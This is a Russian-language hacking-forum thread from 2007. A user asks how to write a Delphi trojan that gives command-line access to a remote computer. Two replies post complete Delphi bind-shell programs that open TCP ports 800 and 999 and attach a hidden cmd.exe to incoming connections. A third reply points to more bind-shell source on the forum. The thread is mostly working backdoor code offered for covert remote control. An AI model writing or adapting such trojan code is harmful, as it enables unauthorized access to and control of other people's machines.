помогите написать троя (дельфи)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sob@ke, 2 Apr 2007.

  1. sob@ke

    sob@ke Banned

    Joined:
    30 Dec 2006
    Messages:
    35
    Likes Received:
    9
    Reputations:
    -1
    помогите мне плииз)))как написать троя на дельфи для получения командной строки на у даленном комьпьютере?
     
  2. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Проще, перенаправить ввод-вывод с cmd.exe на сокет. Реализуеся довольно просто:
    Code:
    program BindShell;
    
    uses
      Windows,
      WinSock;
    
    function WSASocketA(af, wType, protocol: integer;
                        lpProtocolInfo: pointer;
                        g, dwFlags: dword): integer;
                        stdcall; external 'ws2_32.dll';
    
    var 
      WSAData: TWSAData;
      FSocket: integer;
      SockAddrIn: TSockAddrIn;
      sHandle: dword;
      St: TStartupInfo;
      Pr: TProcessInformation;
    
    begin
      WSAStartup($202, WSAData); // инициализация WinSocks2
      // создаем сокет
      FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
      SockAddrIn.sin_family := AF_INET;
      SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
      bind(FSocket, SockAddrIn, 16); 
      listen(FSocket, 0);  // открываем порт
      while true do
       begin
        sHandle := accept(FSocket, nil, 0); // ожидаем соединения
        if sHandle <> INVALID_SOCKET then
         begin
           ZeroMemory(@St, SizeOf(TStartupInfo));
           St.cb := SizeOf(TStartupInfo);
           St.wShowWindow := SW_HIDE;
           St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
           St.hStdInput  := sHandle;
           St.hStdOutput := sHandle;
           St.hStdError  := sHandle;
           // запускаем cmd.exe с перенаправлением ввода-вывода
           CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
           CloseHandle(sHandle);
           CloseHandle(Pr.hProcess);
           CloseHandle(Pr.hThread);
         end;
       end;
    end.
    
     
  3. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    или вот...
    Code:
    program theef_rpsrv;
    
    uses
     Windows, Winsock2, Winsock;
    
    const
     Port = 999;
    
    var
     WSAData: TWSAData;
     FDSet: TFDSet;
     SockAddrIn: TSockAddrIn;
     ServerSocket: TSocket;
     Connected: PInteger;
     ThreadID: Cardinal;
     szCmdLine: Array [0..MAX_PATH] of Char;
    
    function ShellThread(Parameter: Pointer): Integer;
    var
     hSocket: PInteger;
     si: TStartupInfo;
     pi: TProcessInformation;
    begin
     hSocket := Parameter;
     ZeroMemory(@si, SizeOf(si));
     si.cb := SizeOf(si);
     si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
     si.wShowWindow := SW_HIDE;
     si.hStdInput := hSocket^;
     si.hStdOutput := hSocket^;
     si.hStdError := hSocket^;
     CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
     WaitForSingleObject(pi.hProcess, INFINITE);
     CloseHandle(pi.hProcess);
     CloseHandle(pi.hThread);
     Shutdown(hSocket^, SD_BOTH);
     CloseSocket(hSocket^);
     Dispose(hSocket);
     Result := 0;
    end;
    
    begin
     WSAStartUp(MakeWord(1, 1), WSAData);
     ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
     SockAddrIn.sin_family := AF_INET;
     SockAddrIn.sin_addr.s_addr := INADDR_ANY;
     SockAddrIn.sin_port := htons(Port);
     Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
     Listen(ServerSocket, 1);
     GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
     while True do
      begin
       FD_Zero(FDSet);
       FD_Set(ServerSocket, FDSet);
       Select(0, @FDSet, nil, nil, nil);
       if FD_IsSet(ServerSocket, FDSet) then
        begin
         New(Connected);
         Connected^ := Accept(ServerSocket, nil, nil);
         if Connected^ <> SOCKET_ERROR then
          BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
         else
          Break;
        end;
      end;
     WSACleanup;
    end.
     
    #3 W!z@rD, 4 Apr 2007
    Last edited: 4 Apr 2007
  4. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,309
    Reputations:
    327
    смари исходник про биндшелл (прикрепленные темы форума)
     
Loading...
Similar Threads - помогите написать троя
  1. Peja
    Replies:
    0
    Views:
    2,676